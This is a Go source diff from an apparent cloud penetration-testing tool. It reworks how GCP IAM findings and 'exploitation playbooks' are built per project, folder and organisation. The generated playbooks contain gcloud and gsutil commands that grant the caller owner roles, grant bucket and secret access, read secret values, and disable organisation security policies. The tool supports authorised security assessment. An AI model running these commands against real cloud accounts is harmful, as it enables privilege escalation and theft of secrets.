sections.WriteString("gcloud resource-manager org-policies disable-enforce \\\n")
sections.WriteString(" constraints/iam.allowedPolicyMemberDomains \\\n")
sections.WriteString(" --organization=ORG_ID\n\n")
sections.WriteString("# Disable public access prevention\n")
sections.WriteString("gcloud resource-manager org-policies disable-enforce \\\n")
sections.WriteString(" constraints/storage.publicAccessPrevention \\\n")
sections.WriteString(" --project=PROJECT_ID\n")
sections.WriteString("```\n\n")
}
// Storage IAM
if len(categories["Storage IAM"]) > 0 {
sections.WriteString("## Storage Bucket IAM Modification\n\n")
sections.WriteString("Principals who can modify bucket IAM can grant themselves access to bucket contents.\n\n")
sections.WriteString("### Principals with this capability:\n")
for _, admin := range categories["Storage IAM"] {
sections.WriteString(fmt.Sprintf("- %s (%s)\n", admin.Principal, admin.PrincipalType))
}
sections.WriteString("\n### Exploitation:\n")
sections.WriteString("```bash\n")
sections.WriteString("# Grant yourself object viewer on a bucket\n")
sections.WriteString("gsutil iam ch user:[email protected]:objectViewer gs://BUCKET_NAME\n\n")
sections.WriteString("# Or grant full admin access\n")
sections.WriteString("gsutil iam ch user:[email protected]:objectAdmin gs://BUCKET_NAME\n")
sections.WriteString("```\n\n")
}
// Secrets IAM
if len(categories["Secrets IAM"]) > 0 {
sections.WriteString("## Secret Manager IAM Modification\n\n")
sections.WriteString("Principals who can modify secret IAM can grant themselves access to secret values.\n\n")
sections.WriteString("### Principals with this capability:\n")
for _, admin := range categories["Secrets IAM"] {
sections.WriteString(fmt.Sprintf("- %s (%s)\n", admin.Principal, admin.PrincipalType))
}
sections.WriteString("\n### Exploitation:\n")
sections.WriteString("```bash\n")
sections.WriteString("# Grant yourself secret accessor role\n")
sections.WriteString("gcloud secrets add-iam-policy-binding SECRET_NAME \\\n")
sections.WriteString(" --member='user:[email protected]' \\\n")
sections.WriteString(" --role='roles/secretmanager.secretAccessor' \\\n")
sections.WriteString(" --project=PROJECT_ID\n\n")
sections.WriteString("# Then access the secret\n")
sections.WriteString("gcloud secrets versions access latest --secret=SECRET_NAME --project=PROJECT_ID\n")
sections.WriteString("```\n\n")
}
return sections.String()
// Loot is now generated per-project in writeHierarchicalOutput/writeFlatOutput
}
func (m *HiddenAdminsModule) writeOutput(ctx context.Context, logger internal.Logger) {
@@ -870,15 +547,265 @@ func (m *HiddenAdminsModule) adminsToTableBody(admins []HiddenAdmin) [][]string
return body
}
// adminsForProject returns hidden admins filtered for a specific project
// Includes:
// - Project-scoped findings where ScopeID matches this project
// - Org-scoped findings where the org is this project's org
// - Folder-scoped findings where the folder is in this project's ancestry path
// For all of the above, the principal must either be from this project (SA) or be a user/group
func (m *HiddenAdminsModule) adminsForProject(projectID string) []HiddenAdmin {
var filtered []HiddenAdmin
// Get ancestry data for this project
var ancestorFolders []string
var projectOrgID string
if m.OrgCache != nil && m.OrgCache.IsPopulated() {
ancestorFolders = m.OrgCache.GetProjectAncestorFolders(projectID)
projectOrgID = m.OrgCache.GetProjectOrgID(projectID)
}
// Build a set of ancestor folder IDs for quick lookup
ancestorFolderSet := make(map[string]bool)
for _, folderID := range ancestorFolders {
ancestorFolderSet[folderID] = true
}
for _, admin := range m.AllAdmins {
// Check if principal is relevant for this project
principalProject := extractProjectFromPrincipal(admin.Principal, m.OrgCache)
principalRelevant := principalProject == projectID || principalProject == ""
if !principalRelevant {
continue
}
switch admin.ScopeType {
case "project":
// Project-scoped: must match this project
if admin.ScopeID == projectID {
filtered = append(filtered, admin)
}
case "organization":
// Org-scoped: must be this project's org
if projectOrgID != "" && admin.ScopeID == projectOrgID {
filtered = append(filtered, admin)
} else if projectOrgID == "" {
// No org info, include all org findings for users/groups
filtered = append(filtered, admin)
}
case "folder":
// Folder-scoped: must be in this project's ancestry
if len(ancestorFolderSet) > 0 {
if ancestorFolderSet[admin.ScopeID] {
filtered = append(filtered, admin)
}
} else {
// No ancestry info, include all folder findings for users/groups
filtered = append(filtered, admin)
}
default:
// Resource-level: include if principal is relevant
filtered = append(filtered, admin)
}
}
return filtered
}
// adminsToTableBodyForProject returns table body filtered for a specific project
func (m *HiddenAdminsModule) adminsToTableBodyForProject(projectID string) [][]string {
admins := m.adminsForProject(projectID)
return m.adminsToTableBody(admins)
}
// wrongAdminsForProject returns wrong admins filtered for a specific project
// Includes:
// - Project-level wrong admins where ProjectID matches this project
// - Org-level wrong admins where OrgID matches this project's org
// - Folder-level wrong admins where FolderID is in this project's ancestry
// For all of the above, the principal must either be from this project (SA) or be a user/group
func (m *HiddenAdminsModule) wrongAdminsForProject(projectID string) []foxmapperservice.WrongAdminFinding {
var filtered []foxmapperservice.WrongAdminFinding
// Get ancestry data for this project
var ancestorFolders []string
var projectOrgID string
if m.OrgCache != nil && m.OrgCache.IsPopulated() {
ancestorFolders = m.OrgCache.GetProjectAncestorFolders(projectID)
projectOrgID = m.OrgCache.GetProjectOrgID(projectID)
}
// Build a set of ancestor folder IDs for quick lookup
ancestorFolderSet := make(map[string]bool)
for _, folderID := range ancestorFolders {
ancestorFolderSet[folderID] = true
}
for _, wa := range m.WrongAdmins {
principalProject := extractProjectFromPrincipal(wa.Principal, m.OrgCache)
principalRelevant := principalProject == projectID || principalProject == ""
if !principalRelevant {
continue
}
switch wa.AdminLevel {
case "project":
// Project-level: include if ProjectID matches this project
if wa.ProjectID == projectID {
filtered = append(filtered, wa)
}
case "org":
// Org-level: must be this project's org
if projectOrgID != "" && wa.OrgID == projectOrgID {
filtered = append(filtered, wa)
} else if projectOrgID == "" {
// No org info available, include all org findings for relevant principals
filtered = append(filtered, wa)
}
case "folder":
// Folder-level: must be in this project's ancestry
if len(ancestorFolderSet) > 0 && wa.FolderID != "" {
if ancestorFolderSet[wa.FolderID] {
filtered = append(filtered, wa)
}
} else if len(ancestorFolderSet) == 0 {
// No ancestry info available, include all folder findings for relevant principals
filtered = append(filtered, wa)
}
default:
// Unknown level, include for relevant principals if ProjectID matches
if wa.ProjectID == projectID || wa.ProjectID == "" {
filtered = append(filtered, wa)
}
}
}
return filtered
}
// wrongAdminsToTableBodyForProject returns wrong admins table body for a project
func (m *HiddenAdminsModule) wrongAdminsToTableBodyForProject(projectID string) [][]string {
var body [][]string
for _, wa := range m.wrongAdminsForProject(projectID) {
reasonsStr := strings.Join(wa.Reasons, "; ")
displayProject := wa.ProjectID
if displayProject == "" {
displayProject = "-"
}
body = append(body, []string{
wa.Principal,
wa.MemberType,
wa.AdminLevel,
displayProject,
reasonsStr,
})
}
return body
}
// generatePlaybookForProject generates a loot file specific to a project
func (m *HiddenAdminsModule) generatePlaybookForProject(projectID string) *internal.LootFile {
admins := m.adminsForProject(projectID)
wrongAdmins := m.wrongAdminsForProject(projectID)
if len(admins) == 0 && len(wrongAdmins) == 0 {
return nil
}
var sb strings.Builder
sb.WriteString("# GCP Hidden Admins Exploitation Playbook\n")
sb.WriteString(fmt.Sprintf("# Project: %s\n", projectID))
sb.WriteString("# Generated by CloudFox\n\n")
// Add wrong admins section if available
if len(wrongAdmins) > 0 {
sb.WriteString("## Wrong Admins (FoxMapper Analysis)\n\n")
sb.WriteString("These principals are marked as admin but don't have explicit admin roles.\n\n")
for _, wa := range wrongAdmins {
sb.WriteString(fmt.Sprintf("### %s [%s]\n", wa.Principal, wa.MemberType))
sb.WriteString(fmt.Sprintf("Admin Level: %s\n", wa.AdminLevel))
for _, reason := range wa.Reasons {
sb.WriteString(fmt.Sprintf(" - %s\n", reason))
}
// Add exploit command based on admin level
switch wa.AdminLevel {
case "org":
sb.WriteString("\n```bash\n")
sb.WriteString("# Grant yourself org-level owner:\n")
sb.WriteString(fmt.Sprintf("gcloud organizations add-iam-policy-binding ORG_ID --member='%s:%s' --role='roles/owner'\n", wa.MemberType, wa.Principal))
sb.WriteString("```\n\n")
case "folder":
sb.WriteString("\n```bash\n")
sb.WriteString("# Grant yourself folder-level owner:\n")
sb.WriteString(fmt.Sprintf("gcloud resource-manager folders add-iam-policy-binding FOLDER_ID --member='%s:%s' --role='roles/owner'\n", wa.MemberType, wa.Principal))
sb.WriteString("```\n\n")
default:
sb.WriteString("\n```bash\n")
sb.WriteString("# Grant yourself project-level owner:\n")
targetProject := wa.ProjectID
if targetProject == "" {
targetProject = projectID
}
sb.WriteString(fmt.Sprintf("gcloud projects add-iam-policy-binding %s --member='%s:%s' --role='roles/owner'\n", targetProject, wa.MemberType, wa.Principal))
sb.WriteString("```\n\n")
}
}
}
// Add hidden admins section
if len(admins) > 0 {
sb.WriteString("## Hidden Admins (IAM Modification Capabilities)\n\n")
for _, admin := range admins {
scopeInfo := fmt.Sprintf("%s: %s", admin.ScopeType, admin.ScopeName)
if admin.ScopeName == "" {
scopeInfo = fmt.Sprintf("%s: %s", admin.ScopeType, admin.ScopeID)
}
sb.WriteString(fmt.Sprintf("### %s [%s]\n", admin.Principal, admin.PrincipalType))
sb.WriteString(fmt.Sprintf("Permission: %s\n", admin.Permission))
sb.WriteString(fmt.Sprintf("Category: %s\n", admin.Category))
sb.WriteString(fmt.Sprintf("Scope: %s\n", scopeInfo))
sb.WriteString("\n```bash\n")
sb.WriteString(admin.ExploitCommand)
sb.WriteString("\n```\n\n")
}
}
return &internal.LootFile{
Name: "hidden-admins-commands",
Contents: sb.String(),
}
}
func (m *HiddenAdminsModule) buildTablesForProject(projectID string) []internal.TableFile {
var tableFiles []internal.TableFile
if admins, ok := m.ProjectAdmins[projectID]; ok && len(admins) > 0 {
// Hidden admins table
body := m.adminsToTableBodyForProject(projectID)
if len(body) > 0 {
tableFiles = append(tableFiles, internal.TableFile{
Name: "hidden-admins",
Header: m.getHeader(),
Body: m.adminsToTableBody(admins),
Body: body,
})
}
// Wrong admins table
wrongBody := m.wrongAdminsToTableBodyForProject(projectID)
if len(wrongBody) > 0 {
tableFiles = append(tableFiles, internal.TableFile{
Name: "wrong-admins",
Header: m.getWrongAdminsHeader(),
Body: wrongBody,
})
}
return tableFiles
}
@@ -920,9 +847,6 @@ func (m *HiddenAdminsModule) wrongAdminsToTableBody() [][]string {
for _, wa := range m.WrongAdmins {
// Combine reasons into a single string
reasonsStr := strings.Join(wa.Reasons, "; ")
if len(reasonsStr) > 100 {
reasonsStr = reasonsStr[:97] + "..."
}
projectID := wa.ProjectID
if projectID == "" {
@@ -940,44 +864,30 @@ func (m *HiddenAdminsModule) wrongAdminsToTableBody() [][]string {
return body
}
func (m *HiddenAdminsModule) collectLootFiles() []internal.LootFile {
var lootFiles []internal.LootFile
for _, loot := range m.LootMap {
if loot != nil && loot.Contents != "" && !strings.HasSuffix(loot.Contents, "# Generated by CloudFox\n\n") {
lootFiles = append(lootFiles, *loot)
}
}
return lootFiles
}
func (m *HiddenAdminsModule) writeHierarchicalOutput(ctx context.Context, logger internal.Logger) {
outputData := internal.HierarchicalOutputData{
OrgLevelData: make(map[string]internal.CloudfoxOutput),
FolderLevelData: make(map[string]internal.CloudfoxOutput),
ProjectLevelData: make(map[string]internal.CloudfoxOutput),
}
orgID := ""
if m.Hierarchy != nil && len(m.Hierarchy.Organizations) > 0 {
orgID = m.Hierarchy.Organizations[0].ID
} else if len(m.OrgIDs) > 0 {
orgID = m.OrgIDs[0]
}
// Process each specified project
for _, projectID := range m.ProjectIDs {
// Build tables for this project
tableFiles := m.buildTablesForProject(projectID)
if orgID != "" {
tables := m.buildAllTables()
lootFiles := m.collectLootFiles()
outputData.OrgLevelData[orgID] = HiddenAdminsOutput{Table: tables, Loot: lootFiles}
// Generate loot file for this project
var lootFiles []internal.LootFile
playbook := m.generatePlaybookForProject(projectID)
if playbook != nil {
lootFiles = append(lootFiles, *playbook)
}
for _, projectID := range m.ProjectIDs {
projectTables := m.buildTablesForProject(projectID)
if len(projectTables) > 0 && len(projectTables[0].Body) > 0 {
outputData.ProjectLevelData[projectID] = HiddenAdminsOutput{Table: projectTables, Loot: nil}
}
// Add project to output if there's any data
if len(tableFiles) > 0 || len(lootFiles) > 0 {
outputData.ProjectLevelData[projectID] = HiddenAdminsOutput{Table: tableFiles, Loot: lootFiles}
}
} else if len(m.ProjectIDs) > 0 {
tables := m.buildAllTables()
lootFiles := m.collectLootFiles()
outputData.ProjectLevelData[m.ProjectIDs[0]] = HiddenAdminsOutput{Table: tables, Loot: lootFiles}
}
pathBuilder := m.BuildPathBuilder()
@@ -990,30 +900,23 @@ func (m *HiddenAdminsModule) writeHierarchicalOutput(ctx context.Context, logger
func (m *HiddenAdminsModule) writeFlatOutput(ctx context.Context, logger internal.Logger) {
tables := m.buildAllTables()
lootFiles := m.collectLootFiles()
// Generate per-project playbooks
var lootFiles []internal.LootFile
for _, projectID := range m.ProjectIDs {
playbook := m.generatePlaybookForProject(projectID)
if playbook != nil {
// Rename to include project for flat output
playbook.Name = fmt.Sprintf("hidden-admins-commands-%s", projectID)
lootFiles = append(lootFiles, *playbook)
}
}
output := HiddenAdminsOutput{Table: tables, Loot: lootFiles}
var scopeType string
var scopeIdentifiers []string
var scopeNames []string
if len(m.OrgIDs) > 0 {
scopeType = "organization"
for _, orgID := range m.OrgIDs {
scopeIdentifiers = append(scopeIdentifiers, orgID)
if name, ok := m.OrgNames[orgID]; ok && name != "" {
scopeNames = append(scopeNames, name)
} else {
scopeNames = append(scopeNames, orgID)
}
}
} else {
scopeType = "project"
scopeIdentifiers = m.ProjectIDs
for _, id := range m.ProjectIDs {
scopeNames = append(scopeNames, m.GetProjectName(id))
}
scopeNames := make([]string, len(m.ProjectIDs))
for i, id := range m.ProjectIDs {
scopeNames[i] = m.GetProjectName(id)
}
err := internal.HandleOutputSmart(
@@ -1022,8 +925,8 @@ func (m *HiddenAdminsModule) writeFlatOutput(ctx context.Context, logger interna
m.OutputDirectory,
m.Verbosity,
m.WrapTable,
scopeType,
scopeIdentifiers,
"project",
m.ProjectIDs,
scopeNames,
m.Account,
output,
Regular → Executable
+409 -126
View File
@@ -90,9 +90,15 @@ type IAMModule struct {
CustomRoles []IAMService.CustomRole
Groups []IAMService.GroupInfo
MFAStatus map[string]*IAMService.MFAStatus
LootMap map[string]*internal.LootFile
FoxMapperCache *gcpinternal.FoxMapperCache
mu sync.Mutex
// Per-scope loot for inheritance-aware output
OrgLoot map[string]*internal.LootFile // orgID -> loot commands
FolderLoot map[string]*internal.LootFile // folderID -> loot commands
ProjectLoot map[string]*internal.LootFile // projectID -> loot commands
FoxMapperCache *gcpinternal.FoxMapperCache
OrgCache *gcpinternal.OrgCache
mu sync.Mutex
// Member to groups mapping (email -> list of group emails)
MemberToGroups map[string][]string
@@ -131,7 +137,9 @@ func runGCPIAMCommand(cmd *cobra.Command, args []string) {
CustomRoles: []IAMService.CustomRole{},
Groups: []IAMService.GroupInfo{},
MFAStatus: make(map[string]*IAMService.MFAStatus),
LootMap: make(map[string]*internal.LootFile),
OrgLoot: make(map[string]*internal.LootFile),
FolderLoot: make(map[string]*internal.LootFile),
ProjectLoot: make(map[string]*internal.LootFile),
MemberToGroups: make(map[string][]string),
OrgIDs: []string{},
OrgNames: make(map[string]string),
@@ -154,6 +162,9 @@ func (m *IAMModule) Execute(ctx context.Context, logger internal.Logger) {
logger.InfoM("Using FoxMapper graph data for attack path analysis", globals.GCP_IAM_MODULE_NAME)
}
// Get OrgCache for hierarchy lookups
m.OrgCache = gcpinternal.GetOrgCacheFromContext(ctx)
logger.InfoM("Enumerating IAM across organizations, folders, and projects...", globals.GCP_IAM_MODULE_NAME)
// Use the enhanced IAM enumeration
@@ -221,39 +232,36 @@ func (m *IAMModule) Execute(ctx context.Context, logger internal.Logger) {
// Loot File Management
// ------------------------------
func (m *IAMModule) initializeLootFiles() {
m.LootMap["iam-commands"] = &internal.LootFile{
Name: "iam-commands",
Contents: "# GCP IAM Commands\n# Generated by CloudFox\n\n",
}
m.LootMap["iam-enumeration"] = &internal.LootFile{
Name: "iam-enumeration",
Contents: "# GCP IAM Enumeration Commands\n# Generated by CloudFox\n# Use these commands to enumerate roles and permissions for identities\n\n",
}
// Per-scope loot is initialized lazily in addToScopeLoot
}
func (m *IAMModule) generateLoot() {
// Track unique service accounts we've seen
// Track unique service accounts we've seen per scope
sasSeen := make(map[string]bool)
for _, sb := range m.ScopeBindings {
if sb.MemberType != "ServiceAccount" {
continue
}
if sasSeen[sb.MemberEmail] {
// Create a unique key combining SA email and scope
scopeKey := fmt.Sprintf("%s:%s:%s", sb.ScopeType, sb.ScopeID, sb.MemberEmail)
if sasSeen[scopeKey] {
continue
}
sasSeen[sb.MemberEmail] = true
sasSeen[scopeKey] = true
// Check for high privilege roles
isHighPriv := highPrivilegeRoles[sb.Role]
var lootContent string
if isHighPriv {
m.LootMap["iam-commands"].Contents += fmt.Sprintf(
lootContent = fmt.Sprintf(
"# Service Account: %s [HIGH PRIVILEGE] (%s)\n",
sb.MemberEmail, sb.Role,
)
} else {
m.LootMap["iam-commands"].Contents += fmt.Sprintf(
lootContent = fmt.Sprintf(
"# Service Account: %s\n",
sb.MemberEmail,
)
@@ -265,7 +273,7 @@ func (m *IAMModule) generateLoot() {
projectID = m.ProjectIDs[0]
}
m.LootMap["iam-commands"].Contents += fmt.Sprintf(
lootContent += fmt.Sprintf(
"gcloud iam service-accounts describe %s --project=%s\n"+
"gcloud iam service-accounts keys list --iam-account=%s --project=%s\n"+
"gcloud iam service-accounts get-iam-policy %s --project=%s\n"+
@@ -277,54 +285,119 @@ func (m *IAMModule) generateLoot() {
sb.MemberEmail, projectID,
sb.MemberEmail,
)
// Route loot to appropriate scope
m.addToScopeLoot(sb.ScopeType, sb.ScopeID, "iam-commands", lootContent)
}
// Add service accounts with keys
// Add service accounts with keys (project-level)
for _, sa := range m.ServiceAccounts {
if sa.HasKeys {
m.LootMap["iam-commands"].Contents += fmt.Sprintf(
lootContent := fmt.Sprintf(
"# Service Account with Keys: %s (Keys: %d)\n"+
"gcloud iam service-accounts keys list --iam-account=%s --project=%s\n\n",
sa.Email, sa.KeyCount, sa.Email, sa.ProjectID,
)
m.addToScopeLoot("project", sa.ProjectID, "iam-commands", lootContent)
}
}
// Add custom roles
// Add custom roles (project-level)
for _, role := range m.CustomRoles {
m.LootMap["iam-commands"].Contents += fmt.Sprintf(
lootContent := fmt.Sprintf(
"# Custom Role: %s (%d permissions)\n"+
"gcloud iam roles describe %s --project=%s\n\n",
role.Title, role.PermissionCount,
extractRoleName(role.Name), role.ProjectID,
)
m.addToScopeLoot("project", role.ProjectID, "iam-commands", lootContent)
}
// Generate IAM enumeration commands
m.generateEnumerationLoot()
}
func (m *IAMModule) generateEnumerationLoot() {
loot := m.LootMap["iam-enumeration"]
// addToScopeLoot adds loot content to the appropriate scope-level loot file
func (m *IAMModule) addToScopeLoot(scopeType, scopeID, lootName, content string) {
m.mu.Lock()
defer m.mu.Unlock()
var lootMap map[string]*internal.LootFile
switch scopeType {
case "organization":
lootMap = m.OrgLoot
case "folder":
lootMap = m.FolderLoot
case "project":
lootMap = m.ProjectLoot
default:
return
}
key := scopeID + ":" + lootName
if lootMap[key] == nil {
lootMap[key] = &internal.LootFile{
Name: lootName,
Contents: "# GCP IAM Commands\n# Generated by CloudFox\n\n",
}
}
lootMap[key].Contents += content
}
func (m *IAMModule) generateEnumerationLoot() {
// Add organization-level enumeration commands
for _, orgID := range m.OrgIDs {
orgName := m.OrgNames[orgID]
loot.Contents += fmt.Sprintf("# =====================================================\n")
loot.Contents += fmt.Sprintf("# Organization: %s (%s)\n", orgName, orgID)
loot.Contents += fmt.Sprintf("# =====================================================\n\n")
var lootContent string
lootContent += fmt.Sprintf("# =====================================================\n")
lootContent += fmt.Sprintf("# Organization: %s (%s)\n", orgName, orgID)
lootContent += fmt.Sprintf("# =====================================================\n\n")
loot.Contents += fmt.Sprintf("# List all IAM bindings for organization\n")
loot.Contents += fmt.Sprintf("gcloud organizations get-iam-policy %s --format=json\n\n", orgID)
lootContent += fmt.Sprintf("# List all IAM bindings for organization\n")
lootContent += fmt.Sprintf("gcloud organizations get-iam-policy %s --format=json\n\n", orgID)
loot.Contents += fmt.Sprintf("# List all roles assigned at organization level\n")
loot.Contents += fmt.Sprintf("gcloud organizations get-iam-policy %s --format=json | jq -r '.bindings[].role' | sort -u\n\n", orgID)
lootContent += fmt.Sprintf("# List all roles assigned at organization level\n")
lootContent += fmt.Sprintf("gcloud organizations get-iam-policy %s --format=json | jq -r '.bindings[].role' | sort -u\n\n", orgID)
loot.Contents += fmt.Sprintf("# List all members with their roles at organization level\n")
loot.Contents += fmt.Sprintf("gcloud organizations get-iam-policy %s --format=json | jq -r '.bindings[] | \"\\(.role): \\(.members[])\"'\n\n", orgID)
lootContent += fmt.Sprintf("# List all members with their roles at organization level\n")
lootContent += fmt.Sprintf("gcloud organizations get-iam-policy %s --format=json | jq -r '.bindings[] | \"\\(.role): \\(.members[])\"'\n\n", orgID)
m.addToScopeLoot("organization", orgID, "iam-enumeration", lootContent)
}
// Track unique identities for enumeration commands
// Add project-level enumeration commands
for _, projectID := range m.ProjectIDs {
projectName := m.GetProjectName(projectID)
var lootContent string
lootContent += fmt.Sprintf("# =====================================================\n")
lootContent += fmt.Sprintf("# Project: %s (%s)\n", projectName, projectID)
lootContent += fmt.Sprintf("# =====================================================\n\n")
lootContent += fmt.Sprintf("# List all IAM bindings for project\n")
lootContent += fmt.Sprintf("gcloud projects get-iam-policy %s --format=json\n\n", projectID)
lootContent += fmt.Sprintf("# List all roles assigned at project level\n")
lootContent += fmt.Sprintf("gcloud projects get-iam-policy %s --format=json | jq -r '.bindings[].role' | sort -u\n\n", projectID)
lootContent += fmt.Sprintf("# List all members with their roles at project level\n")
lootContent += fmt.Sprintf("gcloud projects get-iam-policy %s --format=json | jq -r '.bindings[] | \"\\(.role): \\(.members[])\"'\n\n", projectID)
lootContent += fmt.Sprintf("# Find all roles for a specific user (replace USER_EMAIL)\n")
lootContent += fmt.Sprintf("gcloud projects get-iam-policy %s --format=json | jq -r '.bindings[] | select(.members[] | contains(\"USER_EMAIL\")) | .role'\n\n", projectID)
lootContent += fmt.Sprintf("# Find all roles for a specific service account (replace SA_EMAIL)\n")
lootContent += fmt.Sprintf("gcloud projects get-iam-policy %s --format=json | jq -r '.bindings[] | select(.members[] | contains(\"SA_EMAIL\")) | .role'\n\n", projectID)
lootContent += fmt.Sprintf("# List all service accounts in project\n")
lootContent += fmt.Sprintf("gcloud iam service-accounts list --project=%s --format=json\n\n", projectID)
lootContent += fmt.Sprintf("# List all custom roles in project\n")
lootContent += fmt.Sprintf("gcloud iam roles list --project=%s --format=json\n\n", projectID)
m.addToScopeLoot("project", projectID, "iam-enumeration", lootContent)
}
// Track unique identities for enumeration commands - add to project level
identitiesSeen := make(map[string]bool)
type identityInfo struct {
email string
@@ -364,74 +437,30 @@ func (m *IAMModule) generateEnumerationLoot() {
}
}
// Add project-level enumeration commands
// Add identity-specific enumeration commands per project
for _, projectID := range m.ProjectIDs {
projectName := m.GetProjectName(projectID)
loot.Contents += fmt.Sprintf("# =====================================================\n")
loot.Contents += fmt.Sprintf("# Project: %s (%s)\n", projectName, projectID)
loot.Contents += fmt.Sprintf("# =====================================================\n\n")
var lootContent string
lootContent += fmt.Sprintf("# =====================================================\n")
lootContent += fmt.Sprintf("# Identity-Specific Enumeration Commands\n")
lootContent += fmt.Sprintf("# =====================================================\n\n")
loot.Contents += fmt.Sprintf("# List all IAM bindings for project\n")
loot.Contents += fmt.Sprintf("gcloud projects get-iam-policy %s --format=json\n\n", projectID)
loot.Contents += fmt.Sprintf("# List all roles assigned at project level\n")
loot.Contents += fmt.Sprintf("gcloud projects get-iam-policy %s --format=json | jq -r '.bindings[].role' | sort -u\n\n", projectID)
loot.Contents += fmt.Sprintf("# List all members with their roles at project level\n")
loot.Contents += fmt.Sprintf("gcloud projects get-iam-policy %s --format=json | jq -r '.bindings[] | \"\\(.role): \\(.members[])\"'\n\n", projectID)
loot.Contents += fmt.Sprintf("# Find all roles for a specific user (replace USER_EMAIL)\n")
loot.Contents += fmt.Sprintf("gcloud projects get-iam-policy %s --format=json | jq -r '.bindings[] | select(.members[] | contains(\"USER_EMAIL\")) | .role'\n\n", projectID)
loot.Contents += fmt.Sprintf("# Find all roles for a specific service account (replace SA_EMAIL)\n")
loot.Contents += fmt.Sprintf("gcloud projects get-iam-policy %s --format=json | jq -r '.bindings[] | select(.members[] | contains(\"SA_EMAIL\")) | .role'\n\n", projectID)
loot.Contents += fmt.Sprintf("# List all service accounts in project\n")
loot.Contents += fmt.Sprintf("gcloud iam service-accounts list --project=%s --format=json\n\n", projectID)
loot.Contents += fmt.Sprintf("# List all custom roles in project\n")
loot.Contents += fmt.Sprintf("gcloud iam roles list --project=%s --format=json\n\n", projectID)
}
// Add identity-specific enumeration commands
loot.Contents += fmt.Sprintf("# =====================================================\n")
loot.Contents += fmt.Sprintf("# Identity-Specific Enumeration Commands\n")
loot.Contents += fmt.Sprintf("# =====================================================\n\n")
for email, info := range identities {
if info.memberType == "ServiceAccount" {
loot.Contents += fmt.Sprintf("# Service Account: %s\n", email)
// Extract project from SA email
saProject := ""
parts := strings.Split(email, "@")
if len(parts) == 2 {
saParts := strings.Split(parts[1], ".")
if len(saParts) >= 1 {
saProject = saParts[0]
}
for email, info := range identities {
if info.memberType == "ServiceAccount" {
lootContent += fmt.Sprintf("# Service Account: %s\n", email)
lootContent += fmt.Sprintf("# Find all roles for this service account\n")
lootContent += fmt.Sprintf("gcloud projects get-iam-policy %s --format=json | jq -r '.bindings[] | select(.members[] | contains(\"%s\")) | .role'\n\n", projectID, email)
} else if info.memberType == "User" {
lootContent += fmt.Sprintf("# User: %s\n", email)
lootContent += fmt.Sprintf("# Find all roles for this user\n")
lootContent += fmt.Sprintf("gcloud projects get-iam-policy %s --format=json | jq -r '.bindings[] | select(.members[] | contains(\"%s\")) | .role'\n\n", projectID, email)
} else if info.memberType == "Group" {
lootContent += fmt.Sprintf("# Group: %s\n", email)
lootContent += fmt.Sprintf("# Find all roles for this group\n")
lootContent += fmt.Sprintf("gcloud projects get-iam-policy %s --format=json | jq -r '.bindings[] | select(.members[] | contains(\"%s\")) | .role'\n\n", projectID, email)
}
if saProject != "" {
loot.Contents += fmt.Sprintf("# Find all roles for this service account across all projects\n")
for _, projectID := range m.ProjectIDs {
loot.Contents += fmt.Sprintf("gcloud projects get-iam-policy %s --format=json | jq -r '.bindings[] | select(.members[] | contains(\"%s\")) | .role'\n", projectID, email)
}
loot.Contents += "\n"
}
} else if info.memberType == "User" {
loot.Contents += fmt.Sprintf("# User: %s\n", email)
loot.Contents += fmt.Sprintf("# Find all roles for this user across all projects\n")
for _, projectID := range m.ProjectIDs {
loot.Contents += fmt.Sprintf("gcloud projects get-iam-policy %s --format=json | jq -r '.bindings[] | select(.members[] | contains(\"%s\")) | .role'\n", projectID, email)
}
loot.Contents += "\n"
} else if info.memberType == "Group" {
loot.Contents += fmt.Sprintf("# Group: %s\n", email)
loot.Contents += fmt.Sprintf("# Find all roles for this group across all projects\n")
for _, projectID := range m.ProjectIDs {
loot.Contents += fmt.Sprintf("gcloud projects get-iam-policy %s --format=json | jq -r '.bindings[] | select(.members[] | contains(\"%s\")) | .role'\n", projectID, email)
}
loot.Contents += "\n"
}
m.addToScopeLoot("project", projectID, "iam-enumeration", lootContent)
}
}
@@ -621,7 +650,7 @@ func (m *IAMModule) buildTables() []internal.TableFile {
"Entry Type",
"Identity",
"Role",
"High Privilege",
"Admin",
"Custom Role",
"Has Keys",
"Condition",
@@ -635,9 +664,11 @@ func (m *IAMModule) buildTables() []internal.TableFile {
// Add scope bindings (one row per binding)
for _, sb := range m.ScopeBindings {
isHighPriv := "No"
if highPrivilegeRoles[sb.Role] {
isHighPriv = "Yes"
// Check admin status from FoxMapper only - shows Org/Folder/Project or No
// This is different from "high privilege roles" - Admin means broad IAM control
adminStatus := gcpinternal.GetAdminStatusFromCache(m.FoxMapperCache, sb.MemberEmail)
if adminStatus == "" {
adminStatus = "No"
}
isCustom := "No"
@@ -689,7 +720,7 @@ func (m *IAMModule) buildTables() []internal.TableFile {
sb.MemberType,
sb.MemberEmail,
sb.Role,
isHighPriv,
adminStatus,
isCustom,
"-",
condition,
@@ -718,6 +749,12 @@ func (m *IAMModule) buildTables() []internal.TableFile {
groups = strings.Join(memberGroups, ", ")
}
// Check admin status from FoxMapper
adminStatus := gcpinternal.GetAdminStatusFromCache(m.FoxMapperCache, sa.Email)
if adminStatus == "" {
adminStatus = "No"
}
// Check attack paths for this service account
attackPaths := gcpinternal.GetAttackSummaryFromCaches(m.FoxMapperCache, nil, sa.Email)
@@ -728,7 +765,7 @@ func (m *IAMModule) buildTables() []internal.TableFile {
"ServiceAccountInfo",
sa.Email + disabled,
sa.DisplayName,
"-",
adminStatus,
"-",
hasKeys,
"-",
@@ -776,9 +813,132 @@ func (m *IAMModule) buildTables() []internal.TableFile {
return tables
}
func (m *IAMModule) collectLootFiles() []internal.LootFile {
// collectAllLootFiles collects all loot files from all scopes for org-level output.
// This merges loot by name (iam-commands, iam-enumeration) across all scopes.
func (m *IAMModule) collectAllLootFiles() []internal.LootFile {
// Merge loot by name across all scopes
mergedLoot := make(map[string]*internal.LootFile)
// Helper to add loot content
addLoot := func(lootMap map[string]*internal.LootFile) {
for key, loot := range lootMap {
// Key format is "scopeID:lootName"
parts := strings.SplitN(key, ":", 2)
if len(parts) != 2 {
continue
}
lootName := parts[1]
if mergedLoot[lootName] == nil {
mergedLoot[lootName] = &internal.LootFile{
Name: lootName,
Contents: "",
}
}
// Avoid duplicate headers
content := loot.Contents
if strings.HasPrefix(content, "# GCP IAM") {
// Skip header if already present
if mergedLoot[lootName].Contents == "" {
// First entry, keep header
} else {
// Strip header from subsequent entries
lines := strings.SplitN(content, "\n\n", 2)
if len(lines) > 1 {
content = lines[1]
}
}
}
mergedLoot[lootName].Contents += content
}
}
